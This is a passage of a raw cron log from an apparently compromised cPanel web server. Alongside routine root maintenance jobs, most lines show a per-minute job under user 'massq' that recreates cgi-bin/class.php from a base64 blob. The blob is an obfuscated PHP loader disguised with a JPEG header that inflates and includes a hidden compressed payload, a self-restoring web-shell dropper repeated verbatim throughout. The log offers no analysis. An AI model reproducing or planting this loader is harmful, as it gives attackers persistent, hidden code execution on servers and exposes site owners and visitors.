mLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:25:01 server CROND[5802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:25:01 server CROND[5803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 01:25:01 server CROND[5804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 01:26:01 server CROND[5922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:27:01 server CROND[5994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:27:01 server CROND[5995]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 01:28:01 server CROND[6044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:29:01 server CROND[6095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:30:01 server CROND[6146]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 01:30:01 server CROND[6147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:30:01 server CROND[6148]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 01:30:01 server CROND[6150]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 01:31:01 server CROND[6375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:32:01 server CROND[6429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:33:01 server CROND[6483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:34:01 server CROND[6538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:35:01 server CROND[6604]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 01:35:01 server CROND[6605]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 01:35:01 server CROND[6606]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 01:35:01 server CROND[6609]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 01:35:01 server CROND[6610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:36:01 server CROND[6821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 01:37:01 server CROND[6868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
